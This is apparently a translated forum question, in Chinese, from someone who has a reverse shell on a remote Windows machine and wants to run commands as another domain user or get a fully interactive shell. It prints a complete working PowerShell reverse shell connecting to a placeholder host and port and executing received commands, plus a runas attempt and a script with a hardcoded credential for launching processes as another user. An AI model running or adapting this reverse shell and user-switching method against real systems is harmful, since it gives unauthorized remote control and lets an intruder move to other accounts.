我有一台远程Windows机器,使用以下命令将外壳发送给我一个Linux机器:
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
在Linux命令行上,我可以使用Powershell在远程Windows机器上输入命令。我的目标是将Shell更改为另一个用户或以另一个用户身份运行脚本。 我试图使用以下命令以新用户身份登录:
runas /user:domaint\admin cmd.exe
但是,不幸的是,外壳程序不是完全交互的,当它提示输入密码时,它会迅速关闭提示并等待新命令。 反正迫使Powershell等待我的回应吗?或获得完全交互式外壳的方法?
在进一步尝试中,我编写了以下脚本以其他用户身份执行我的脚本,但是“ test.ps1”未执行:
$username = 'domain\user'
$password = 'pa$$word'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process test.ps1 -Credential $credential
我知道此方法不安全,但是由于我没有输入凭据的选项,因此可能需要将它们存储在脚本中。 (这是出于娱乐和挑战目的)。 关于如何修复脚本以执行另一个脚本或获得完全交互式的Powershell终端的任何建议?
谢谢